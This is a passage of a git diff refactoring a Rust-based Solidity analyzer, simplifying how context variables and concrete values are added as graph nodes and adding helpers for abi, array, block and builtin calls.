var.storage = Some(StorageLocation::Block(loc)); - let cvar = self.add_node(Node::ContextVar(var)); + let cvar = self.add_node(var); ctx.add_var(cvar.into(), self).into_expr_err(loc)?; self.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); return Ok(ExprRet::Single(cvar)); @@ -282,7 +255,7 @@ pub trait Env: AnalyzerBackend + Sized { var.is_tmp = false; var.is_symbolic = true; var.storage = Some(StorageLocation::Block(loc)); - let cvar = self.add_node(Node::ContextVar(var)); + let cvar = self.add_node(var); ctx.add_var(cvar.into(), self).into_expr_err(loc)?; self.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); Ok(ExprRet::Single(cvar)) @@ -309,10 +282,7 @@ pub trait Env: AnalyzerBackend + Sized { "data" => { if let Some(d) = self.msg().underlying(self).into_expr_err(loc)?.data.clone() { let c = Concrete::from(d); - ( - self.add_node(Node::Concrete(c)).into(), - "msg.data".to_string(), - ) + (self.add_node(c).into(), "msg.data".to_string()) } else { let b = Builtin::DynamicBytes; let node = self.builtin_or_add(b); @@ -323,7 +293,7 @@ pub trait Env: AnalyzerBackend + Sized { var.is_tmp = false; var.is_symbolic = true; var.storage = Some(StorageLocation::Msg(loc)); - let cvar = self.add_node(Node::ContextVar(var)); + let cvar = self.add_node(var); ctx.add_var(cvar.into(), self).into_expr_err(loc)?; self.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); return Ok(ExprRet::Single(cvar)); @@ -332,10 +302,7 @@ pub trait Env: AnalyzerBackend + Sized { "sender" => { if let Some(d) = self.msg().underlying(self).into_expr_err(loc)?.sender { let c = Concrete::from(d); - ( - self.add_node(Node::Concrete(c)).into(), - "msg.sender".to_string(), - ) + (self.add_node(c).into(), "msg.sender".to_string()) } else { let node = self.builtin_or_add(Builtin::Address); let mut var = ContextVar::new_from_builtin(loc, node.into(), self) @@ -345,7 +312,7 @@ pub trait Env: AnalyzerBackend + Sized { var.is_tmp = false; var.is_symbolic = true; var.storage = Some(StorageLocation::Msg(loc)); - let cvar = self.add_node(Node::ContextVar(var)); + let cvar = self.add_node(var); ctx.add_var(cvar.into(), self).into_expr_err(loc)?; self.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); return Ok(ExprRet::Single(cvar)); @@ -354,10 +321,7 @@ pub trait Env: AnalyzerBackend + Sized { "sig" => { if let Some(d) = self.msg().underlying(self).into_expr_err(loc)?.sig { let c = Concrete::from(d); - ( - self.add_node(Node::Concrete(c)).into(), - "msg.sig".to_string(), - ) + (self.add_node(c).into(), "msg.sig".to_string()) } else { let node = self.builtin_or_add(Builtin::Bytes(4)); let mut var = ContextVar::new_from_builtin(loc, node.into(), self) @@ -367,7 +331,7 @@ pub trait Env: AnalyzerBackend + Sized { var.is_tmp = false; var.is_symbolic = true; var.storage = Some(StorageLocation::Msg(loc)); - let cvar = self.add_node(Node::ContextVar(var)); + let cvar = self.add_node(var); ctx.add_var(cvar.into(), self).into_expr_err(loc)?; self.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); return Ok(ExprRet::Single(cvar)); @@ -376,10 +340,7 @@ pub trait Env: AnalyzerBackend + Sized { "value" => { if let Some(d) = self.msg().underlying(self).into_expr_err(loc)?.value { let c = Concrete::from(d); - ( - self.add_node(Node::Concrete(c)).into(), - "msg.value".to_string(), - ) + (self.add_node(c).into(), "msg.value".to_string()) } else { let node = self.builtin_or_add(Builtin::Uint(256)); let mut var = ContextVar::new_from_builtin(loc, node.into(), self) @@ -389,7 +350,7 @@ pub trait Env: AnalyzerBackend + Sized { var.is_tmp = false; var.is_symbolic = true; var.storage = Some(StorageLocation::Msg(loc)); - let cvar = self.add_node(Node::ContextVar(var)); + let cvar = self.add_node(var); ctx.add_var(cvar.into(), self).into_expr_err(loc)?; self.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); return Ok(ExprRet::Single(cvar)); @@ -398,10 +359,7 @@ pub trait Env: AnalyzerBackend + Sized { "origin" => { if let Some(d) = self.msg().underlying(self).into_expr_err(loc)?.origin { let c = Concrete::from(d); - ( - self.add_node(Node::Concrete(c)).into(), - "tx.origin".to_string(), - ) + (self.add_node(c).into(), "tx.origin".to_string()) } else { let node = self.builtin_or_add(Builtin::Address); let mut var = ContextVar::new_from_builtin(loc, node.into(), self) @@ -411,7 +369,7 @@ pub trait Env: AnalyzerBackend + Sized { var.is_tmp = false; var.is_symbolic = true; var.storage = Some(StorageLocation::Msg(loc)); - let cvar = self.add_node(Node::ContextVar(var)); + let cvar = self.add_node(var); ctx.add_var(cvar.into(), self).into_expr_err(loc)?; self.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); return Ok(ExprRet::Single(cvar)); @@ -420,10 +378,7 @@ pub trait Env: AnalyzerBackend + Sized { "gasprice" => { if let Some(d) = self.msg().underlying(self).into_expr_err(loc)?.gasprice { let c = Concrete::from(d); - ( - self.add_node(Node::Concrete(c)).into(), - "tx.gasprice".to_string(), - ) + (self.add_node(c).into(), "tx.gasprice".to_string()) } else { let node = self.builtin_or_add(Builtin::Uint(64)); let mut var = ContextVar::new_from_builtin(loc, node.into(), self) @@ -433,7 +388,7 @@ pub trait Env: AnalyzerBackend + Sized { var.is_tmp = false; var.is_symbolic = true; var.storage = Some(StorageLocation::Msg(loc)); - let cvar = self.add_node(Node::ContextVar(var)); + let cvar = self.add_node(var); ctx.add_var(cvar.into(), self).into_expr_err(loc)?; self.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); return Ok(ExprRet::Single(cvar)); @@ -442,7 +397,7 @@ pub trait Env: AnalyzerBackend + Sized { "gaslimit" => { if let Some(d) = self.msg().underlying(self).into_expr_err(loc)?.gaslimit { let c = Concrete::from(d); - (self.add_node(Node::Concrete(c)).into(), "".to_string()) + (self.add_node(c).into(), "".to_string()) } else { let node = self.builtin_or_add(Builtin::Uint(64)); let mut var = ContextVar::new_from_builtin(loc, node.into(), self) @@ -450,7 +405,7 @@ pub trait Env: AnalyzerBackend + Sized { var.is_tmp = false; var.is_symbolic = true; var.storage = Some(StorageLocation::Msg(loc)); - let cvar = self.add_node(Node::ContextVar(var)); + let cvar = self.add_node(var); ctx.add_var(cvar.into(), self).into_expr_err(loc)?; self.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); return Ok(ExprRet::Single(cvar)); @@ -470,7 +425,7 @@ pub trait Env: AnalyzerBackend + Sized { var.is_tmp = false; var.is_symbolic = true; var.storage = Some(StorageLocation::Msg(loc)); - let cvar = self.add_node(Node::ContextVar(var)); + let cvar = self.add_node(var); ctx.add_var(cvar.into(), self).into_expr_err(loc)?; self.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); Ok(ExprRet::Single(cvar)) diff --git a/crates/solc-expressions/src/func_call/apply.rs b/crates/solc-expressions/src/func_call/apply.rs index 661ab5c9..a475fb3b 100644 --- a/crates/solc-expressions/src/func_call/apply.rs +++ b/crates/solc-expressions/src/func_call/apply.rs @@ -328,7 +328,7 @@ pub trait FuncApplier: }); } - let mut new_cvar = ContextVarNode::from(self.add_node(Node::ContextVar(new_var))); + let mut new_cvar = ContextVarNode::from(self.add_node(new_var)); self.add_edge(new_cvar, target_ctx, Edge::Context(ContextEdge::Variable)); target_ctx.add_var(new_cvar, self).unwrap(); @@ -363,8 +363,7 @@ pub trait FuncApplier: } }); } - let new_field = - ContextVarNode::from(self.add_node(Node::ContextVar(new_var))); + let new_field = ContextVarNode::from(self.add_node(new_var)); self.add_edge( new_field, new_cvar, @@ -421,7 +420,7 @@ pub trait FuncApplier: } }); } - let new_cvar = ContextVarNode::from(self.add_node(Node::ContextVar(new_var))); + let new_cvar = ContextVarNode::from(self.add_node(new_var)); if new_cvar.is_const(self, arena)? && new_cvar.evaled_range_min(self, arena)? @@ -444,7 +443,7 @@ pub trait FuncApplier: if let Some(var) = ContextVar::maybe_new_from_func_ret(self, ret.underlying(self).unwrap().clone()) { - let cvar = self.add_node(Node::ContextVar(var)); + let cvar = self.add_node(var); target_ctx.add_var(cvar.into(), self).unwrap(); self.add_edge(cvar, target_ctx, Edge::Context(ContextEdge::Variable)); rets.push(ExprRet::Single(cvar)); @@ -508,8 +507,7 @@ pub trait FuncApplier: None }; - let replacement = - ContextVarNode::from(self.add_node(Node::ContextVar(new_cvar))); + let replacement = ContextVarNode::from(self.add_node(new_cvar)); self.add_edge( replacement, diff --git a/crates/solc-expressions/src/func_call/func_caller.rs b/crates/solc-expressions/src/func_call/func_caller.rs index 491f91cd..5a6a7b17 100644 --- a/crates/solc-expressions/src/func_call/func_caller.rs +++ b/crates/solc-expressions/src/func_call/func_caller.rs @@ -242,7 +242,7 @@ pub trait FuncCaller: ), }; - let new_cvarnode = self.add_node(Node::ContextVar(var)); + let new_cvarnode = self.add_node(var); ctx.add_var(new_cvarnode.into(), self).into_expr_err(*loc)?; self.add_edge(new_cvarnode, ctx, Edge::Context(ContextEdge::Variable)); if let Some(func_node) = ContextVarNode::from(new_cvarnode) @@ -473,7 +473,7 @@ pub trait FuncCaller: if let Some(var) = ContextVar::maybe_new_from_func_ret(self, ret.underlying(self).unwrap().clone()) { - let cvar = self.add_node(Node::ContextVar(var)); + let cvar = self.add_node(var); callee_ctx.add_var(cvar.into(), self).unwrap(); self.add_edge(cvar, callee_ctx, Edge::Context(ContextEdge::Variable)); } diff --git a/crates/solc-expressions/src/func_call/helper.rs b/crates/solc-expressions/src/func_call/helper.rs index 33985256..0ac5b0c8 100644 --- a/crates/solc-expressions/src/func_call/helper.rs +++ b/crates/solc-expressions/src/func_call/helper.rs @@ -55,7 +55,7 @@ pub trait CallerHelper: AnalyzerBackend + None }; - let node = ContextVarNode::from(self.add_node(Node::ContextVar(new_cvar))); + let node = ContextVarNode::from(self.add_node(new_cvar)); self.add_edge( node, @@ -106,9 +106,7 @@ pub trait CallerHelper: AnalyzerBackend + None }; - let field_node = ContextVarNode::from( - self.add_node(Node::ContextVar(new_field)), - ); + let field_node = ContextVarNode::from(self.add_node(new_field)); self.add_edge( field_node, @@ -424,7 +422,7 @@ pub trait CallerHelper: AnalyzerBackend + ) .into_expr_err(loc)? .unwrap(); - let cvar = ContextVarNode::from(self.add_node(Node::ContextVar(cvar))); + let cvar = ContextVarNode::from(self.add_node(cvar)); callee_ctx.add_var(cvar, self).into_expr_err(loc)?; self.add_edge(cvar, callee_ctx, Edge::Context(ContextEdge::Variable)); callee_ctx diff --git a/crates/solc-expressions/src/func_call/internal_call.rs b/crates/solc-expressions/src/func_call/internal_call.rs index 1bc7d8c2..8b445ab2 100644 --- a/crates/solc-expressions/src/func_call/internal_call.rs +++ b/crates/solc-expressions/src/func_call/internal_call.rs @@ -102,7 +102,7 @@ pub trait InternalFuncCaller: let strukt = possible_structs[0]; let var = ContextVar::new_from_struct(*loc, strukt, ctx, self).into_expr_err(*loc)?; - let cvar = self.add_node(Node::ContextVar(var)); + let cvar = self.add_node(var); ctx.add_var(cvar.into(), self).into_expr_err(*loc)?; self.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); @@ -117,7 +117,7 @@ pub trait InternalFuncCaller: ) .expect("Invalid struct field"); - let fc_node = self.add_node(Node::ContextVar(field_cvar)); + let fc_node = self.add_node(field_cvar); self.add_edge( fc_node, cvar, diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/abi.rs b/crates/solc-expressions/src/func_call/intrinsic_call/abi.rs index aa543077..421b815a 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/abi.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/abi.rs @@ -14,6 +14,100 @@ impl AbiCaller for T where T: AnalyzerBackend + Sized { + fn abi_decode(&mut self, ctx: ContextNode, inputs: ExprRet, loc: Loc) -> Result<(), ExprErr> { + match inputs { + ExprRet::Single(ty) => match self.node(ty) { + Node::Builtin(_) => { + let var = + ContextVar::new_from_builtin(loc, ty.into(), self).into_expr_err(loc)?; + let node = self.add_node(var); + ctx.add_var(node.into(), self).into_expr_err(loc)?; + self.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); + ctx.push_expr(ExprRet::Single(node), self) + .into_expr_err(loc)?; + Ok(()) + } + Node::ContextVar(cvar) => { + let bn = self + .builtin_or_add(cvar.ty.as_builtin(self).into_expr_err(loc)?) + .into(); + let var = ContextVar::new_from_builtin(loc, bn, self).into_expr_err(loc)?; + let node = self.add_node(var); + ctx.add_var(node.into(), self).into_expr_err(loc)?; + self.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); + ctx.push_expr(ExprRet::Single(node), self) + .into_expr_err(loc)?; + Ok(()) + } + Node::Struct(_) => { + let var = ContextVar::new_from_struct(loc, ty.into(), ctx, self) + .into_expr_err(loc)?; + let node = self.add_node(var); + ctx.add_var(node.into(), self).into_expr_err(loc)?; + self.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); + ctx.push_expr(ExprRet::Single(node), self) + .into_expr_err(loc)?; + Ok(()) + } + Node::Contract(_) => { + let var = + ContextVar::new_from_contract(loc, ty.into(), self).into_expr_err(loc)?; + let node = self.add_node(var); + ctx.add_var(node.into(), self).into_expr_err(loc)?; + self.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); + ctx.push_expr(ExprRet::Single(node), self) + .into_expr_err(loc)?; + Ok(()) + } + e => todo!("Unhandled type in abi.decode: {e:?}"), + }, + ExprRet::Multi(inner) => inner + .iter() + .try_for_each(|i| self.abi_decode(ctx, i.clone(), loc)), + ExprRet::CtxKilled(kind) => ctx.kill(self, loc, kind).into_expr_err(loc), + e => panic!("This is invalid solidity: {:?}", e), + } + } + + fn abi_call_inner( + &mut self, + arena: &mut RangeArena>, + ctx: ContextNode, + func_name: &str, + inputs: ExprRet, + loc: Loc, + ) -> Result<(), ExprErr> { + match &*func_name { + "abi.decode" => { + // we skip the first because that is what is being decoded. + // TODO: check if we have a concrete bytes value + let decode_as = ExprRet::Multi(inputs.as_vec()[1..].to_vec()); + self.abi_decode(ctx, decode_as, loc) + } + "abi.encode" + | "abi.encodePacked" + | "abi.encodeCall" + | "abi.encodeWithSignature" + | "abi.encodeWithSelector" => { + // TODO: Support concrete abi encoding + let bn = self.builtin_or_add(Builtin::DynamicBytes); + let cvar = ContextVar::new_from_builtin(loc, bn.into(), self).into_expr_err(loc)?; + let node = self.add_node(cvar); + ctx.add_var(node.into(), self).into_expr_err(loc)?; + self.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); + ctx.push_expr(ExprRet::Single(node), self) + .into_expr_err(loc)?; + Ok(()) + } + _ => Err(ExprErr::FunctionNotFound( + loc, + format!( + "Could not find abi function: \"{func_name}\", context: {}", + ctx.path(self), + ), + )), + } + } /// Perform an `abi.<..>` function call fn abi_call( &mut self, @@ -116,7 +210,7 @@ pub trait AbiCaller: AnalyzerBackend + Siz // TODO: Support concrete abi encoding let bn = self.builtin_or_add(Builtin::DynamicBytes); let cvar = ContextVar::new_from_builtin(loc, bn.into(), self).into_expr_err(loc)?; - let node = self.add_node(Node::ContextVar(cvar)); + let node = self.add_node(cvar); ctx.add_var(node.into(), self).into_expr_err(loc)?; self.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); ctx.push_expr(ExprRet::Single(node), self) diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/address.rs b/crates/solc-expressions/src/func_call/intrinsic_call/address.rs index c0c42475..c8dc0ebb 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/address.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/address.rs @@ -1,5 +1,3 @@ -use crate::func_caller::NamedOrUnnamedArgs; - use graph::{ nodes::{Builtin, ContextNode, ContextVar, ExprRet}, AnalyzerBackend, ContextEdge, Edge, Node, @@ -13,20 +11,14 @@ impl AddressCaller for T where T: AnalyzerBackend + Sized { /// Perform an `address.<..>` function call - fn address_call( - &mut self, - func_name: String, - _input_exprs: &NamedOrUnnamedArgs, - loc: Loc, - ctx: ContextNode, - ) -> Result<(), ExprErr> { + fn address_call(&mut self, ctx: ContextNode, func_name: &str, loc: Loc) -> Result<(), ExprErr> { match &*func_name { - "delegatecall" | "staticcall" | "call" => self.external_call(&func_name, loc, ctx), + "delegatecall" | "staticcall" | "call" => self.external_call(ctx, &func_name, loc), "code" => { // TODO: try to be smarter based on the address input let bn = self.builtin_or_add(Builtin::DynamicBytes); let cvar = ContextVar::new_from_builtin(loc, bn.into(), self).into_expr_err(loc)?; - let node = self.add_node(Node::ContextVar(cvar)); + let node = self.add_node(cvar); ctx.add_var(node.into(), self).into_expr_err(loc)?; self.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); ctx.push_expr(ExprRet::Single(node), self) @@ -37,7 +29,7 @@ pub trait AddressCaller: AnalyzerBackend + // TODO: try to be smarter based on the address input let bn = self.builtin_or_add(Builtin::Uint(256)); let cvar = ContextVar::new_from_builtin(loc, bn.into(), self).into_expr_err(loc)?; - let node = self.add_node(Node::ContextVar(cvar)); + let node = self.add_node(cvar); ctx.add_var(node.into(), self).into_expr_err(loc)?; self.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); ctx.push_expr(ExprRet::Single(node), self) @@ -54,20 +46,20 @@ pub trait AddressCaller: AnalyzerBackend + } } - fn external_call(&mut self, _ty: &str, loc: Loc, ctx: ContextNode) -> Result<(), ExprErr> { + fn external_call(&mut self, ctx: ContextNode, _ty: &str, loc: Loc) -> Result<(), ExprErr> { // TODO: Check if we have the code for the address // if we dont, model it as a unrestricted call that can make other calls ctx.pop_expr_latest(loc, self).into_expr_err(loc)?; // TODO: try to be smarter based on the address input let booln = self.builtin_or_add(Builtin::Bool); let bool_cvar = ContextVar::new_from_builtin(loc, booln.into(), self).into_expr_err(loc)?; - let bool_node = self.add_node(Node::ContextVar(bool_cvar)); + let bool_node = self.add_node(bool_cvar); ctx.add_var(bool_node.into(), self).into_expr_err(loc)?; self.add_edge(bool_node, ctx, Edge::Context(ContextEdge::Variable)); let bn = self.builtin_or_add(Builtin::DynamicBytes); let cvar = ContextVar::new_from_builtin(loc, bn.into(), self).into_expr_err(loc)?; - let node = self.add_node(Node::ContextVar(cvar)); + let node = self.add_node(cvar); ctx.add_var(node.into(), self).into_expr_err(loc)?; self.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); ctx.push_expr( diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/array.rs b/crates/solc-expressions/src/func_call/intrinsic_call/array.rs index 3bf86b5c..edc4ff40 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/array.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/array.rs @@ -15,6 +15,40 @@ impl ArrayCaller for T where T: AnalyzerBackend + Sized { + /// Perform an `array.<..>` function call + fn array_call_inner( + &mut self, + arena: &mut RangeArena>, + ctx: ContextNode, + func_name: &str, + inputs: ExprRet, + loc: Loc, + ) -> Result<(), ExprErr> { + match &*func_name { + "push" => { + let inputs_vec = inputs.as_vec(); + let arr = inputs_vec[0].expect_single().into_expr_err(loc)?; + let push_elem = if let Some(push_elem) = inputs_vec.get(1) { + Some(push_elem.expect_single().into_expr_err(loc)?) + } else { + None + }; + + todo!(); + } + "pop" => { + todo!(); + } + _ => Err(ExprErr::FunctionNotFound( + loc, + format!( + "Could not find builtin array function: \"{func_name}\", context: {}", + ctx.path(self), + ), + )), + } + } + /// Perform an `array.<..>` function call fn array_call( &mut self, @@ -283,64 +317,6 @@ pub trait ArrayCaller: AnalyzerBackend + S index_access.latest_version(analyzer), arr.latest_version(analyzer), ) - // let Some(array) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - // return Err(ExprErr::NoLhs( - // loc, - // "array[].pop() was not an array to pop from".to_string(), - // )); - // }; - // if matches!(array, ExprRet::CtxKilled(_)) { - // ctx.push_expr(array, analyzer).into_expr_err(loc)?; - // return Ok(()); - // } - - // let arr = array.expect_single().into_expr_err(loc)?; - // let arr = ContextVarNode::from(arr).latest_version(analyzer); - // // get length - // let len = analyzer.get_length(ctx, loc, arr, true)?.unwrap().latest_version(analyzer); - - // // Subtract one from it - // let cnode = analyzer.add_node(Node::Concrete(Concrete::from(U256::from(1)))); - // let tmp_one = Node::ContextVar( - // ContextVar::new_from_concrete(Loc::Implicit, ctx, cnode.into(), analyzer) - // .into_expr_err(loc)?, - // ); - // let one = ContextVarNode::from(analyzer.add_node(tmp_one.clone())); - // let new_len_expr = analyzer.op( - // loc, - // len, - // one, - // ctx, - // RangeOp::Sub(false), - // false, - // )?; - - // if matches!(new_len_expr, ExprRet::CtxKilled(_)) { - // ctx.push_expr(new_len_expr, analyzer).into_expr_err(loc)?; - // return Ok(()); - // } - - // // connect the new length - // let new_len = ContextVarNode::from(new_len_expr.expect_single().unwrap()).latest_version(analyzer); - // let next_arr = analyzer.advance_var_in_ctx(arr.latest_version(analyzer), loc, ctx)?; - // analyzer.add_edge(new_len.latest_version(analyzer), next_arr, Edge::Context(ContextEdge::AttrAccess("length"))); - - // let min = Elem::from(arr).set_indices(RangeDyn::new_for_indices(vec![(new_len.into(), Elem::Null)], loc)); //.set_length(new_len.into()); - // let max = Elem::from(arr).set_indices(RangeDyn::new_for_indices(vec![(new_len.into(), Elem::Null)], loc)); //.set_length(new_len.into()); - - // let cnode = analyzer.add_node(Node::Concrete(Concrete::from(U256::zero()))); - // let tmp_zero = Node::ContextVar( - // ContextVar::new_from_concrete(Loc::Implicit, ctx, cnode.into(), analyzer) - // .into_expr_err(loc)?, - // ); - // let zero = ContextVarNode::from(analyzer.add_node(tmp_one)); - // analyzer.add_edge(zero, next_arr.latest_version(analyzer), Edge::Context(ContextEdge::StorageWrite)); - // next_arr - // .set_range_min(analyzer, min) - // .into_expr_err(loc)?; - // next_arr - // .set_range_max(analyzer, max) - // .into_expr_err(loc) }) } _ => Err(ExprErr::FunctionNotFound( diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/block.rs b/crates/solc-expressions/src/func_call/intrinsic_call/block.rs index 7e09c935..bded14be 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/block.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/block.rs @@ -1,6 +1,3 @@ -use crate::func_caller::NamedOrUnnamedArgs; -use crate::ContextBuilder; - use graph::{ elem::Elem, nodes::{Builtin, Concrete, ContextNode, ContextVar, ExprRet}, @@ -18,36 +15,24 @@ pub trait BlockCaller: AnalyzerBackend + S fn block_call( &mut self, arena: &mut RangeArena>, - func_name: String, - input_exprs: &NamedOrUnnamedArgs, - loc: Loc, ctx: ContextNode, + func_name: &str, + inputs: ExprRet, + loc: Loc, ) -> Result<(), ExprErr> { match &*func_name { "blockhash" => { - input_exprs.parse_n(arena, 1, self, ctx, loc)?; - self.apply_to_edges(ctx, loc, arena, &|analyzer, _arena, ctx, loc| { - let Some(input) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoRhs( - loc, - "blockhash function was not provided a block number".to_string(), - )); - }; - if matches!(input, ExprRet::CtxKilled(_)) { - ctx.push_expr(input, analyzer).into_expr_err(loc)?; - return Ok(()); - } - let var = ContextVar::new_from_builtin( - loc, - analyzer.builtin_or_add(Builtin::Bytes(32)).into(), - analyzer, - ) + let input = inputs.expect_single().into_expr_err(loc)?; + let var = ContextVar::new_from_builtin( + loc, + self.builtin_or_add(Builtin::Bytes(32)).into(), + self, + ) + .into_expr_err(loc)?; + let cvar = self.add_node(var); + ctx.push_expr(ExprRet::Single(cvar), self) .into_expr_err(loc)?; - let cvar = analyzer.add_node(Node::ContextVar(var)); - ctx.push_expr(ExprRet::Single(cvar), analyzer) - .into_expr_err(loc)?; - Ok(()) - }) + Ok(()) } _ => Err(ExprErr::FunctionNotFound( loc, diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/constructors.rs b/crates/solc-expressions/src/func_call/intrinsic_call/constructors.rs index ca2d59b7..01e165eb 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/constructors.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/constructors.rs @@ -68,7 +68,7 @@ pub trait ConstructorCaller: ty: ty.expect("No type for node"), }; - let arr = ContextVarNode::from(self.add_node(Node::ContextVar(new_arr))); + let arr = ContextVarNode::from(self.add_node(new_arr)); let len_var = ContextVar { loc: Some(loc), @@ -87,7 +87,7 @@ pub trait ConstructorCaller: .clone(), }; - let len_cvar = self.add_node(Node::ContextVar(len_var)); + let len_cvar = self.add_node(len_var); self.add_edge(arr, ctx, Edge::Context(ContextEdge::Variable)); ctx.add_var(arr, self).into_expr_err(loc)?; self.add_edge(len_cvar, ctx, Edge::Context(ContextEdge::Variable)); @@ -178,7 +178,7 @@ pub trait ConstructorCaller: loc: Loc, ) -> Result<(), ExprErr> { let var = ContextVar::new_from_struct(loc, strukt, ctx, self).into_expr_err(loc)?; - let cvar = self.add_node(Node::ContextVar(var)); + let cvar = self.add_node(var); ctx.add_var(cvar.into(), self).into_expr_err(loc)?; self.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); let inputs = inputs.as_vec(); @@ -198,7 +198,7 @@ pub trait ConstructorCaller: ) .expect("Invalid struct field"); - let fc_node = self.add_node(Node::ContextVar(field_cvar)); + let fc_node = self.add_node(field_cvar); self.add_edge( fc_node, cvar, diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/dyn_builtin.rs b/crates/solc-expressions/src/func_call/intrinsic_call/dyn_builtin.rs index a7f9b30b..1f826d53 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/dyn_builtin.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/dyn_builtin.rs @@ -1,4 +1,3 @@ -use crate::func_caller::NamedOrUnnamedArgs; use crate::{variable::Variable, ListAccess}; use graph::{ @@ -19,13 +18,13 @@ pub trait DynBuiltinCaller: AnalyzerBackend>, - func_name: String, - input_exprs: &NamedOrUnnamedArgs, - loc: Loc, ctx: ContextNode, + func_name: &str, + inputs: ExprRet, + loc: Loc, ) -> Result<(), ExprErr> { match &*func_name { - "concat" => self.concat(arena, &loc, input_exprs, ctx), + "concat" => self.concat(arena, ctx, inputs, loc), _ => Err(ExprErr::FunctionNotFound( loc, format!( @@ -41,46 +40,23 @@ pub trait DynBuiltinCaller: AnalyzerBackend>, - loc: &Loc, - input_exprs: &NamedOrUnnamedArgs, ctx: ContextNode, + inputs: ExprRet, + loc: Loc, ) -> Result<(), ExprErr> { - todo!("uses tmp expr stack"); - // input_exprs.unnamed_args().unwrap()[1..] - // .iter() - // .try_for_each(|expr| { - // self.parse_ctx_expr(arena, expr, ctx)?; - // self.apply_to_edges(ctx, *loc, arena, &|analyzer, _arena, ctx, loc| { - // let input = ctx - // .pop_expr_latest(loc, analyzer) - // .into_expr_err(loc)? - // .unwrap_or(ExprRet::Null); - // ctx.append_tmp_expr(input, analyzer).into_expr_err(loc) - // }) - // })?; - - // self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - // let Some(inputs) = ctx.pop_tmp_expr(loc, analyzer).into_expr_err(loc)? else { - // return Err(ExprErr::NoRhs(loc, "Concatenation failed".to_string())); - // }; - // if matches!(inputs, ExprRet::CtxKilled(_)) { - // ctx.push_expr(inputs, analyzer).into_expr_err(loc)?; - // return Ok(()); - // } - // let inputs = inputs.as_vec(); - // if inputs.is_empty() { - // ctx.push_expr(ExprRet::Multi(vec![]), analyzer) - // .into_expr_err(loc)?; - // Ok(()) - // } else { - // let start = &inputs[0]; - // if inputs.len() > 1 { - // analyzer.match_concat(arena, ctx, loc, start.clone(), &inputs[1..], false) - // } else { - // analyzer.match_concat(arena, ctx, loc, start.clone(), &[], false) - // } - // } - // }) + let inputs = inputs.as_vec(); + if inputs.is_empty() { + ctx.push_expr(ExprRet::Multi(vec![]), self) + .into_expr_err(loc)?; + Ok(()) + } else { + let start = &inputs[0]; + if inputs.len() > 1 { + self.match_concat(arena, ctx, loc, start.clone(), &inputs[1..], false) + } else { + self.match_concat(arena, ctx, loc, start.clone(), &[], false) + } + } } /// Match on the expression returns @@ -186,12 +162,12 @@ pub trait DynBuiltinCaller: AnalyzerBackend { let new_val = accum_node.clone().concat(right_node).unwrap(); - let new_cnode = self.add_node(Node::Concrete(new_val)); + let new_cnode = self.add_node(new_val); VarType::Concrete(new_cnode.into()) } (accum_node @ Concrete::DynBytes(..), right_node @ Concrete::DynBytes(..)) => { let new_val = accum_node.clone().concat(right_node).unwrap(); - let new_cnode = self.add_node(Node::Concrete(new_val)); + let new_cnode = self.add_node(new_val); VarType::Concrete(new_cnode.into()) } (a, b) => { diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/intrinsic_caller.rs b/crates/solc-expressions/src/func_call/intrinsic_call/intrinsic_caller.rs index 7aff24ce..4958eb8d 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/intrinsic_caller.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/intrinsic_caller.rs @@ -10,7 +10,7 @@ use crate::{ }; use graph::{ elem::Elem, - nodes::{Builtin, Concrete, ContextNode, ContextVar, ContextVarNode, ContractNode, ExprRet}, + nodes::{Concrete, ContextNode, ContextVar, ContextVarNode, ContractNode, ExprRet}, AnalyzerBackend, Node, }; use shared::{ExprErr, IntoExprErr, NodeIdx, RangeArena}; @@ -151,7 +151,7 @@ pub trait IntrinsicFuncCaller: } }; let contract_cvar = - ContextVarNode::from(self.add_node(Node::ContextVar(var))); + ContextVarNode::from(self.add_node(var)); ctx.push_expr(ExprRet::Single(contract_cvar.into()), self) .into_expr_err(loc) } @@ -187,6 +187,46 @@ pub trait IntrinsicFuncCaller: }) } + fn call_builtin( + &mut self, + arena: &mut RangeArena>, + ctx: ContextNode, + name: &str, + inputs: ExprRet, + loc: Loc, + ) -> Result<(), ExprErr> { + match name { + // abi + _ if 